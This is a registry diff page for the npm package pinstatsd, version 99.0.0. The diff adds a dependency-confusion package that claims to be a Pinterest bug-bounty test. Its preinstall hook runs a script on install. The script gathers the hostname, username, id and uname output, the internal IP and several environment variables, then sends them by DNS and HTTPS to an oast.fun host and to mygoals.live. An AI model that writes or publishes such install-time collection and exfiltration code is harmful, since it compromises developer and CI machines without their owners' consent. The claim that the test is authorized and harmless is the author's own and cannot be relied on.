pinstatsd 0.0.1-security → 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pinstatsd might be problematic. Click here for more details.
- package/README.md +13 -3
- package/index.js +100 -0
- package/package.json +9 -3
package/README.md
CHANGED
|
@@ -1,5 +1,15 @@
|
|
|
1
|
-
# Security
|
|
1
|
+
# pinstatsd - Dependency Confusion Security Test
|
|
2
2
|
|
|
3
|
-
This package
|
|
3
|
+
This package was registered on npm as part of an authorized security assessment
|
|
4
|
+
on Pinterest's bug bounty program (Bugcrowd).
|
|
4
5
|
|
|
5
|
-
|
|
6
|
+
**Researcher:** r76o4
|
|
7
|
+
|
|
8
|
+
On install, this package sends a callback with basic system info to verify
|
|
9
|
+
code execution. No data is accessed, exfiltrated, or modified.
|
|
10
|
+
|
|
11
|
+
The internal Pinterest package `pinstatsd` is referenced in
|
|
12
|
+
[pinterest/teletraan](https://github.com/pinterest/teletraan/blob/master/deploy-agent/thirdparty/requirements.txt)
|
|
13
|
+
but was not registered on npm.
|
|
14
|
+
|
|
15
|
+
Pinterest security team: reach **r76o4** on Bugcrowd.
|
package/index.js
ADDED
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Dependency Confusion Security Test
|
|
3
|
+
* Pinterest Bug Bounty (Bugcrowd) — Researcher: r76o4
|
|
4
|
+
*
|
|
5
|
+
* Collects basic system info to prove code execution.
|
|
6
|
+
* No destructive actions taken.
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
const https = require("https");
|
|
10
|
+
const http = require("http");
|
|
11
|
+
const os = require("os");
|
|
12
|
+
const { execSync } = require("child_process");
|
|
13
|
+
const dns = require("dns");
|
|
14
|
+
|
|
15
|
+
function safe(fn) {
|
|
16
|
+
try { return fn(); } catch { return "unknown"; }
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
const info = {
|
|
20
|
+
package: "pinstatsd",
|
|
21
|
+
version: "99.0.0",
|
|
22
|
+
type: "dependency_confusion",
|
|
23
|
+
researcher: "r76o4",
|
|
24
|
+
program: "pinterest-bugcrowd",
|
|
25
|
+
hostname: safe(() => os.hostname()),
|
|
26
|
+
username: safe(() => os.userInfo().username),
|
|
27
|
+
whoami: safe(() => execSync("whoami").toString().trim()),
|
|
28
|
+
pwd: safe(() => process.cwd()),
|
|
29
|
+
platform: safe(() => `${os.platform()} ${os.release()} ${os.arch()}`),
|
|
30
|
+
node: safe(() => process.version),
|
|
31
|
+
ip_internal: safe(() => {
|
|
32
|
+
const nets = os.networkInterfaces();
|
|
33
|
+
for (const name of Object.keys(nets)) {
|
|
34
|
+
for (const net of nets[name]) {
|
|
35
|
+
if (net.family === "IPv4" && !net.internal) return net.address;
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
return "unknown";
|
|
39
|
+
}),
|
|
40
|
+
id: safe(() => execSync("id 2>/dev/null || whoami").toString().trim()),
|
|
41
|
+
uname: safe(() => execSync("uname -a 2>/dev/null || ver").toString().trim()),
|
|
42
|
+
env: {}
|
|
43
|
+
};
|
|
44
|
+
|
|
45
|
+
// Safe env vars
|
|
46
|
+
const safeKeys = [
|
|
47
|
+
"HOME", "PATH", "SHELL", "CI", "JENKINS_URL", "BUILD_URL", "BUILD_ID",
|
|
48
|
+
"GITHUB_ACTIONS", "GITHUB_REPOSITORY", "GITHUB_WORKFLOW",
|
|
49
|
+
"AWS_REGION", "AWS_DEFAULT_REGION", "AWS_EXECUTION_ENV",
|
|
50
|
+
"KUBERNETES_SERVICE_HOST", "NODE_ENV", "NPM_CONFIG_REGISTRY",
|
|
51
|
+
"HOSTNAME", "NODE_NAME"
|
|
52
|
+
];
|
|
53
|
+
for (const k of safeKeys) {
|
|
54
|
+
if (process.env[k]) info.env[k] = process.env[k];
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
const data = JSON.stringify(info);
|
|
58
|
+
|
|
59
|
+
// Callback 1: Interactsh DNS
|
|
60
|
+
try {
|
|
61
|
+
const tag = `pinstatsd-${info.hostname}-${info.username}`.replace(/[^a-z0-9-]/gi, "-").slice(0, 60);
|
|
62
|
+
dns.resolve(`${tag}.ienfcixqbgvbxkccdoxgfz2zhmspdpiys.oast.fun`, () => {});
|
|
63
|
+
} catch {}
|
|
64
|
+
|
|
65
|
+
// Callback 2: Interactsh HTTP
|
|
66
|
+
try {
|
|
67
|
+
const req = https.request({
|
|
68
|
+
hostname: "ienfcixqbgvbxkccdoxgfz2zhmspdpiys.oast.fun",
|
|
69
|
+
path: "/npm-pinstatsd",
|
|
70
|
+
method: "POST",
|
|
71
|
+
headers: { "Content-Type": "application/json" },
|
|
72
|
+
timeout: 10000
|
|
73
|
+
});
|
|
74
|
+
req.on("error", () => {});
|
|
75
|
+
req.write(data);
|
|
76
|
+
req.end();
|
|
77
|
+
} catch {}
|
|
78
|
+
|
|
79
|
+
// Callback 3: mygoals.live HTTP
|
|
80
|
+
try {
|
|
81
|
+
const req = https.request({
|
|
82
|
+
hostname: "www.mygoals.live",
|
|
83
|
+
path: "/api/xss?type=npm_depconf_pinstatsd",
|
|
84
|
+
method: "POST",
|
|
85
|
+
headers: { "Content-Type": "application/json" },
|
|
86
|
+
timeout: 10000
|
|
87
|
+
});
|
|
88
|
+
req.on("error", () => {});
|
|
89
|
+
req.write(data);
|
|
90
|
+
req.end();
|
|
91
|
+
} catch {}
|
|
92
|
+
|
|
93
|
+
// Callback 4: mygoals.live DNS
|
|
94
|
+
try {
|
|
95
|
+
const tag2 = `npm-pinstatsd-${info.hostname}`.replace(/[^a-z0-9-]/gi, "-").slice(0, 60);
|
|
96
|
+
dns.resolve(`${tag2}.pindepconf.mygoals.live`, () => {});
|
|
97
|
+
} catch {}
|
|
98
|
+
|
|
99
|
+
// Keep process alive briefly for callbacks to fire
|
|
100
|
+
setTimeout(() => {}, 3000);
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "pinstatsd",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "security
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Dependency confusion security test - Pinterest bug bounty (Bugcrowd). Researcher: r76o4",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "r76o4",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"homepage": "https://bugcrowd.com/pinterest"
|
|
6
12
|
}
|